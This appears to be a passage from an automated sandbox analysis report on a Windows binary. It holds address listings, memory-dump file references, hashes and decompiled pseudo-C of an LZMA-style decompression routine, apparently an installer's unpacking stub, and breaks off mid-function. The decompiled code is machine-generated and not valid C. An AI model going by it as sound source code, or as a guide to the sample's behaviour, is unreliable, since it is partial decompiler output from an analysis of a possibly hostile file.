                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x004066f3
                                                                                                        0x00406606
                                                                                                        0x00406609
                                                                                                        0x0040660b
                                                                                                        0x0040660e
                                                                                                        0x00406611
                                                                                                        0x00406614
                                                                                                        0x00406616
                                                                                                        0x00406619
                                                                                                        0x0040661c
                                                                                                        0x0040661c
                                                                                                        0x0040661f
                                                                                                        0x0040661f
                                                                                                        0x00406622
                                                                                                        0x00406629
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00406629
                                                                                                        0x004065af
                                                                                                        0x004065b2
                                                                                                        0x004065b4
                                                                                                        0x004065b7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406316
                                                                                                        0x00406316
                                                                                                        0x0040631a
                                                                                                        0x0040695f
                                                                                                        0x00000000
                                                                                                        0x0040695f
                                                                                                        0x00406320
                                                                                                        0x00406323
                                                                                                        0x00406326
                                                                                                        0x00406329
                                                                                                        0x0040632c
                                                                                                        0x0040632f
                                                                                                        0x00406332
                                                                                                        0x00406334
                                                                                                        0x00406337
                                                                                                        0x0040633a
                                                                                                        0x0040633d
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064a1
                                                                                                        0x004064a1
                                                                                                        0x004064a5
                                                                                                        0x0040696b
                                                                                                        0x00000000
                                                                                                        0x0040696b
                                                                                                        0x004064ab
                                                                                                        0x004064ae
                                                                                                        0x004064b1
                                                                                                        0x004064b4
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b9
                                                                                                        0x004064bc
                                                                                                        0x004064bf
                                                                                                        0x004064c2
                                                                                                        0x004064c5
                                                                                                        0x004064c8
                                                                                                        0x004064c9
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064ce
                                                                                                        0x004064d1
                                                                                                        0x004064d4
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064da
                                                                                                        0x004064dc
                                                                                                        0x004064dc
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x00406722
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406728
                                                                                                        0x0040672b
                                                                                                        0x0040672e
                                                                                                        0x00406731
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406736
                                                                                                        0x00406739
                                                                                                        0x0040673c
                                                                                                        0x0040673f
                                                                                                        0x00406742
                                                                                                        0x00406745
                                                                                                        0x00406746
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x0040674b
                                                                                                        0x0040674e
                                                                                                        0x00406751
                                                                                                        0x00406754
                                                                                                        0x00406757
                                                                                                        0x0040675b
                                                                                                        0x0040675d
                                                                                                        0x00406760
                                                                                                        0x00000000
                                                                                                        0x00406762
                                                                                                        0x004064df
                                                                                                        0x004064df
                                                                                                        0x00000000
                                                                                                        0x004064df
                                                                                                        0x00406760
                                                                                                        0x00406995
                                                                                                        0x004069b7
                                                                                                        0x004069bd
                                                                                                        0x004069bf
                                                                                                        0x004069c6
                                                                                                        0x004069c8
                                                                                                        0x004069cf
                                                                                                        0x004069d3
                                                                                                        0x00000000
                                                                                                        0x00405fc4
                                                                                                        0x004069cc
                                                                                                        0x004069cc
                                                                                                        0x00000000
                                                                                                        0x004069cc
                                                                                                        0x00406819
                                                                                                        0x0040689f
                                                                                                        0x004068a5
                                                                                                        0x004068a8
                                                                                                        0x004068ab
                                                                                                        0x004068ae
                                                                                                        0x004068b1
                                                                                                        0x004068b4
                                                                                                        0x004068b7
                                                                                                        0x004068ba
                                                                                                        0x004068c0
                                                                                                        0x004068d9
                                                                                                        0x004068dc
                                                                                                        0x004068df
                                                                                                        0x004068e2
                                                                                                        0x004068e6
                                                                                                        0x004068e8
                                                                                                        0x004068e9
                                                                                                        0x004068ec
                                                                                                        0x004068c2
                                                                                                        0x004068c2
                                                                                                        0x004068ca
                                                                                                        0x004068cf
                                                                                                        0x004068d1
                                                                                                        0x004068d4
                                                                                                        0x004068d4
                                                                                                        0x004068f6
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x004068f6
                                                                                                        0x00000000
                                                                                                        0x0040676b

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: d0b545a720d06a2780d8eb9310de1c164ea8e259f40aa19cdef3f662a7789f4d
                                                                                                        • Instruction ID: 868f2ec1f3ea74d7de1394d818727f69d5aca31e92bf34b5737afca42cfaef71
                                                                                                        • Opcode Fuzzy Hash: d0b545a720d06a2780d8eb9310de1c164ea8e259f40aa19cdef3f662a7789f4d
                                                                                                        • Instruction Fuzzy Hash: 6E913171D00229CBEF28CF98C8547ADBBB1FF44305F15812AD856BB281C7789A9ADF44
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 98%
                                                                                                        			E0040647D() {
                                                                                                        				unsigned short _t532;
                                                                                                        				signed int _t533;
                                                                                                        				void _t534;
                                                                                                        				void* _t535;
                                                                                                        				signed int _t536;
                                                                                                        				signed int _t565;
                                                                                                        				signed int _t568;
                                                                                                        				signed int _t589;
                                                                                                        				signed int* _t606;
                                                                                                        				void* _t613;
                                                                                                        
                                                                                                        				L0:
                                                                                                        				while(1) {
                                                                                                        					L0:
                                                                                                        					if( *(_t613 - 0x40) != 0) {
                                                                                                        						L89:
                                                                                                        						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
                                                                                                        						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
                                                                                                        						L69:
                                                                                                        						_t606 =  *(_t613 - 0x58);
                                                                                                        						 *(_t613 - 0x84) = 0x12;
                                                                                                        						L132:
                                                                                                        						 *(_t613 - 0x54) = _t606;
                                                                                                        						L133:
                                                                                                        						_t532 =  *_t606;
                                                                                                        						_t589 = _t532 & 0x0000ffff;
                                                                                                        						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                                                                        						if( *(_t613 - 0xc) >= _t565) {
                                                                                                        							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                                                                        							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                                                                        							 *(_t613 - 0x40) = 1;
                                                                                                        							_t533 = _t532 - (_t532 >> 5);
                                                                                                        							 *_t606 = _t533;
                                                                                                        						} else {
                                                                                                        							 *(_t613 - 0x10) = _t565;
                                                                                                        							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                                        							 *_t606 = (0x800 - _t589 >> 5) + _t532;
                                                                                                        						}
                                                                                                        						if( *(_t613 - 0x10) >= 0x1000000) {
                                                                                                        							L139:
                                                                                                        							_t534 =  *(_t613 - 0x84);
                                                                                                        							L140:
                                                                                                        							 *(_t613 - 0x88) = _t534;
                                                                                                        							goto L1;
                                                                                                        						} else {
                                                                                                        							L137:
                                                                                                        							if( *(_t613 - 0x6c) == 0) {
                                                                                                        								 *(_t613 - 0x88) = 5;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
                                                                                                        							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                                        							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                                        							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                                                                        							goto L139;
                                                                                                        						}
                                                                                                        					} else {
                                                                                                        						if( *(__ebp - 0x60) == 0) {
                                                                                                        							L171:
                                                                                                        							_t536 = _t535 | 0xffffffff;
                                                                                                        							L172:
                                                                                                        							return _t536;
                                                                                                        						}
                                                                                                        						__eax = 0;
                                                                                                        						_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                                        						0 | _t258 = _t258 + _t258 + 9;
                                                                                                        						 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                                                                                        						L75:
                                                                                                        						if( *(__ebp - 0x64) == 0) {
                                                                                                        							 *(__ebp - 0x88) = 0x1b;
                                                                                                        							L170:
                                                                                                        							_t568 = 0x22;
                                                                                                        							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
                                                                                                        							_t536 = 0;
                                                                                                        							goto L172;
                                                                                                        						}
                                                                                                        						__eax =  *(__ebp - 0x14);
                                                                                                        						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        						if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        							__eax = __eax +  *(__ebp - 0x74);
                                                                                                        						}
                                                                                                        						__edx =  *(__ebp - 8);
                                                                                                        						__cl =  *(__eax + __edx);
                                                                                                        						__eax =  *(__ebp - 0x14);
                                                                                                        						 *(__ebp - 0x5c) = __cl;
                                                                                                        						 *(__eax + __edx) = __cl;
                                                                                                        						__eax = __eax + 1;
                                                                                                        						__edx = 0;
                                                                                                        						_t274 = __eax %  *(__ebp - 0x74);
                                                                                                        						__eax = __eax /  *(__ebp - 0x74);
                                                                                                        						__edx = _t274;
                                                                                                        						__eax =  *(__ebp - 0x68);
                                                                                                        						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                                        						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        						_t283 = __ebp - 0x64;
                                                                                                        						 *_t283 =  *(__ebp - 0x64) - 1;
                                                                                                        						 *( *(__ebp - 0x68)) = __cl;
                                                                                                        						L79:
                                                                                                        						 *(__ebp - 0x14) = __edx;
                                                                                                        						L80:
                                                                                                        						 *(__ebp - 0x88) = 2;
                                                                                                        					}
                                                                                                        					L1:
                                                                                                        					_t535 =  *(_t613 - 0x88);
                                                                                                        					if(_t535 > 0x1c) {
                                                                                                        						goto L171;
                                                                                                        					}
                                                                                                        					switch( *((intOrPtr*)(_t535 * 4 +  &M004069D4))) {
                                                                                                        						case 0:
                                                                                                        							if( *(_t613 - 0x6c) == 0) {
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                                        							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                                        							_t535 =  *( *(_t613 - 0x70));
                                                                                                        							if(_t535 > 0xe1) {
                                                                                                        								goto L171;
                                                                                                        							}
                                                                                                        							_t539 = _t535 & 0x000000ff;
                                                                                                        							_push(0x2d);
                                                                                                        							asm("cdq");
                                                                                                        							_pop(_t570);
                                                                                                        							_push(9);
                                                                                                        							_pop(_t571);
                                                                                                        							_t609 = _t539 / _t570;
                                                                                                        							_t541 = _t539 % _t570 & 0x000000ff;
                                                                                                        							asm("cdq");
                                                                                                        							_t604 = _t541 % _t571 & 0x000000ff;
                                                                                                        							 *(_t613 - 0x3c) = _t604;
                                                                                                        							 *(_t613 - 0x1c) = (1 << _t609) - 1;
                                                                                                        							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
                                                                                                        							_t612 = (0x300 << _t604 + _t609) + 0x736;
                                                                                                        							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
                                                                                                        								L10:
                                                                                                        								if(_t612 == 0) {
                                                                                                        									L12:
                                                                                                        									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
                                                                                                        									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                                        									goto L15;
                                                                                                        								} else {
                                                                                                        									goto L11;
                                                                                                        								}
                                                                                                        								do {
                                                                                                        									L11:
                                                                                                        									_t612 = _t612 - 1;
                                                                                                        									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
                                                                                                        								} while (_t612 != 0);
                                                                                                        								goto L12;
                                                                                                        							}
                                                                                                        							if( *(_t613 - 4) != 0) {
                                                                                                        								GlobalFree( *(_t613 - 4));
                                                                                                        							}
                                                                                                        							_t535 = GlobalAlloc(0x40, 0x600); // executed
                                                                                                        							 *(_t613 - 4) = _t535;
                                                                                                        							if(_t535 == 0) {
                                                                                                        								goto L171;
                                                                                                        							} else {
                                                                                                        								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
                                                                                                        								goto L10;
                                                                                                        							}
                                                                                                        						case 1:
                                                                                                        							L13:
                                                                                                        							__eflags =  *(_t613 - 0x6c);
                                                                                                        							if( *(_t613 - 0x6c) == 0) {
                                                                                                        								 *(_t613 - 0x88) = 1;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                                        							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
                                                                                                        							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                                        							_t45 = _t613 - 0x48;
                                                                                                        							 *_t45 =  *(_t613 - 0x48) + 1;
                                                                                                        							__eflags =  *_t45;
                                                                                                        							L15:
                                                                                                        							if( *(_t613 - 0x48) < 4) {
                                                                                                        								goto L13;
                                                                                                        							}
                                                                                                        							_t547 =  *(_t613 - 0x40);
                                                                                                        							if(_t547 ==  *(_t613 - 0x74)) {
                                                                                                        								L20:
                                                                                                        								 *(_t613 - 0x48) = 5;
                                                                                                        								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
                                                                                                        								goto L23;
                                                                                                        							}
                                                                                                        							 *(_t613 - 0x74) = _t547;
                                                                                                        							if( *(_t613 - 8) != 0) {
                                                                                                        								GlobalFree( *(_t613 - 8));
                                                                                                        							}
                                                                                                        							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
                                                                                                        							 *(_t613 - 8) = _t535;
                                                                                                        							if(_t535 == 0) {
                                                                                                        								goto L171;
                                                                                                        							} else {
                                                                                                        								goto L20;
                                                                                                        							}
                                                                                                        						case 2:
                                                                                                        							L24:
                                                                                                        							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
                                                                                                        							 *(_t613 - 0x84) = 6;
                                                                                                        							 *(_t613 - 0x4c) = _t554;
                                                                                                        							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
                                                                                                        							goto L132;
                                                                                                        						case 3:
                                                                                                        							L21:
                                                                                                        							__eflags =  *(_t613 - 0x6c);
                                                                                                        							if( *(_t613 - 0x6c) == 0) {
                                                                                                        								 *(_t613 - 0x88) = 3;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                                        							_t67 = _t613 - 0x70;
                                                                                                        							 *_t67 =  &(( *(_t613 - 0x70))[1]);
                                                                                                        							__eflags =  *_t67;
                                                                                                        							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                                                                        							L23:
                                                                                                        							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
                                                                                                        							if( *(_t613 - 0x48) != 0) {
                                                                                                        								goto L21;
                                                                                                        							}
                                                                                                        							goto L24;
                                                                                                        						case 4:
                                                                                                        							goto L133;
                                                                                                        						case 5:
                                                                                                        							goto L137;
                                                                                                        						case 6:
                                                                                                        							__edx = 0;
                                                                                                        							__eflags =  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x40) != 0) {
                                                                                                        								__eax =  *(__ebp - 4);
                                                                                                        								__ecx =  *(__ebp - 0x38);
                                                                                                        								 *(__ebp - 0x34) = 1;
                                                                                                        								 *(__ebp - 0x84) = 7;
                                                                                                        								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                                                                        								goto L132;
                                                                                                        							}
                                                                                                        							__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                                        							__esi =  *(__ebp - 0x60);
                                                                                                        							__cl = 8;
                                                                                                        							__cl = 8 -  *(__ebp - 0x3c);
                                                                                                        							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                                        							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                                        							__ecx =  *(__ebp - 0x3c);
                                                                                                        							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                                        							__ecx =  *(__ebp - 4);
                                                                                                        							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                                        							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                                        							__eflags =  *(__ebp - 0x38) - 4;
                                                                                                        							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        							if( *(__ebp - 0x38) >= 4) {
                                                                                                        								__eflags =  *(__ebp - 0x38) - 0xa;
                                                                                                        								if( *(__ebp - 0x38) >= 0xa) {
                                                                                                        									_t98 = __ebp - 0x38;
                                                                                                        									 *_t98 =  *(__ebp - 0x38) - 6;
                                                                                                        									__eflags =  *_t98;
                                                                                                        								} else {
                                                                                                        									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                                        								}
                                                                                                        							} else {
                                                                                                        								 *(__ebp - 0x38) = 0;
                                                                                                        							}
                                                                                                        							__eflags =  *(__ebp - 0x34) - __edx;
                                                                                                        							if( *(__ebp - 0x34) == __edx) {
                                                                                                        								__ebx = 0;
                                                                                                        								__ebx = 1;
                                                                                                        								goto L61;
                                                                                                        							} else {
                                                                                                        								__eax =  *(__ebp - 0x14);
                                                                                                        								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        								__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        								if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        									__eax = __eax +  *(__ebp - 0x74);
                                                                                                        									__eflags = __eax;
                                                                                                        								}
                                                                                                        								__ecx =  *(__ebp - 8);
                                                                                                        								__ebx = 0;
                                                                                                        								__ebx = 1;
                                                                                                        								__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        								goto L41;
                                                                                                        							}
                                                                                                        						case 7:
                                                                                                        							__eflags =  *(__ebp - 0x40) - 1;
                                                                                                        							if( *(__ebp - 0x40) != 1) {
                                                                                                        								__eax =  *(__ebp - 0x24);
                                                                                                        								 *(__ebp - 0x80) = 0x16;
                                                                                                        								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        								__eax =  *(__ebp - 0x28);
                                                                                                        								 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        								__eax =  *(__ebp - 0x2c);
                                                                                                        								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        								__eax = 0;
                                                                                                        								__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        								__al = __al & 0x000000fd;
                                                                                                        								__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                                        								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                                                                        								__eax =  *(__ebp - 4);
                                                                                                        								__eax =  *(__ebp - 4) + 0x664;
                                                                                                        								__eflags = __eax;
                                                                                                        								 *(__ebp - 0x58) = __eax;
                                                                                                        								goto L69;
                                                                                                        							}
                                                                                                        							__eax =  *(__ebp - 4);
                                                                                                        							__ecx =  *(__ebp - 0x38);
                                                                                                        							 *(__ebp - 0x84) = 8;
                                                                                                        							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                                                                        							goto L132;
                                                                                                        						case 8:
                                                                                                        							__eflags =  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x40) != 0) {
                                                                                                        								__eax =  *(__ebp - 4);
                                                                                                        								__ecx =  *(__ebp - 0x38);
                                                                                                        								 *(__ebp - 0x84) = 0xa;
                                                                                                        								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                                                                        							} else {
                                                                                                        								__eax =  *(__ebp - 0x38);
                                                                                                        								__ecx =  *(__ebp - 4);
                                                                                                        								__eax =  *(__ebp - 0x38) + 0xf;
                                                                                                        								 *(__ebp - 0x84) = 9;
                                                                                                        								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                                        								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                                                                        							}
                                                                                                        							goto L132;
                                                                                                        						case 9:
                                                                                                        							goto L0;
                                                                                                        						case 0xa:
                                                                                                        							__eflags =  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x40) != 0) {
                                                                                                        								__eax =  *(__ebp - 4);
                                                                                                        								__ecx =  *(__ebp - 0x38);
                                                                                                        								 *(__ebp - 0x84) = 0xb;
                                                                                                        								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                                                                        								goto L132;
                                                                                                        							}
                                                                                                        							__eax =  *(__ebp - 0x28);
                                                                                                        							goto L88;
                                                                                                        						case 0xb:
                                                                                                        							__eflags =  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x40) != 0) {
                                                                                                        								__ecx =  *(__ebp - 0x24);
                                                                                                        								__eax =  *(__ebp - 0x20);
                                                                                                        								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        							} else {
                                                                                                        								__eax =  *(__ebp - 0x24);
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 0x28);
                                                                                                        							 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        							L88:
                                                                                                        							__ecx =  *(__ebp - 0x2c);
                                                                                                        							 *(__ebp - 0x2c) = __eax;
                                                                                                        							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        							goto L89;
                                                                                                        						case 0xc:
                                                                                                        							L99:
                                                                                                        							__eflags =  *(__ebp - 0x6c);
                                                                                                        							if( *(__ebp - 0x6c) == 0) {
                                                                                                        								 *(__ebp - 0x88) = 0xc;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 0x70);
                                                                                                        							__eax =  *(__ebp - 0xc);
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							_t334 = __ebp - 0x70;
                                                                                                        							 *_t334 =  *(__ebp - 0x70) + 1;
                                                                                                        							__eflags =  *_t334;
                                                                                                        							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							__eax =  *(__ebp - 0x2c);
                                                                                                        							goto L101;
                                                                                                        						case 0xd:
                                                                                                        							L37:
                                                                                                        							__eflags =  *(__ebp - 0x6c);
                                                                                                        							if( *(__ebp - 0x6c) == 0) {
                                                                                                        								 *(__ebp - 0x88) = 0xd;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 0x70);
                                                                                                        							__eax =  *(__ebp - 0xc);
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							_t122 = __ebp - 0x70;
                                                                                                        							 *_t122 =  *(__ebp - 0x70) + 1;
                                                                                                        							__eflags =  *_t122;
                                                                                                        							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							L39:
                                                                                                        							__eax =  *(__ebp - 0x40);
                                                                                                        							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                                        								goto L48;
                                                                                                        							}
                                                                                                        							__eflags = __ebx - 0x100;
                                                                                                        							if(__ebx >= 0x100) {
                                                                                                        								goto L54;
                                                                                                        							}
                                                                                                        							L41:
                                                                                                        							__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                                        							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                                        							__ecx =  *(__ebp - 0x58);
                                                                                                        							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                                        							 *(__ebp - 0x48) = __eax;
                                                                                                        							__eax = __eax + 1;
                                                                                                        							__eax = __eax << 8;
                                                                                                        							__eax = __eax + __ebx;
                                                                                                        							__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        							__ax =  *__esi;
                                                                                                        							 *(__ebp - 0x54) = __esi;
                                                                                                        							__edx = __ax & 0x0000ffff;
                                                                                                        							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                                        							__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        							if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        								__cx = __ax;
                                                                                                        								 *(__ebp - 0x40) = 1;
                                                                                                        								__cx = __ax >> 5;
                                                                                                        								__eflags = __eax;
                                                                                                        								__ebx = __ebx + __ebx + 1;
                                                                                                        								 *__esi = __ax;
                                                                                                        							} else {
                                                                                                        								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                                        								 *(__ebp - 0x10) = __ecx;
                                                                                                        								0x800 = 0x800 - __edx;
                                                                                                        								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                                        								__ebx = __ebx + __ebx;
                                                                                                        								 *__esi = __cx;
                                                                                                        							}
                                                                                                        							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        							 *(__ebp - 0x44) = __ebx;
                                                                                                        							if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        								goto L39;
                                                                                                        							} else {
                                                                                                        								goto L37;
                                                                                                        							}
                                                                                                        						case 0xe:
                                                                                                        							L46:
                                                                                                        							__eflags =  *(__ebp - 0x6c);
                                                                                                        							if( *(__ebp - 0x6c) == 0) {
                                                                                                        								 *(__ebp - 0x88) = 0xe;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 0x70);
                                                                                                        							__eax =  *(__ebp - 0xc);
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
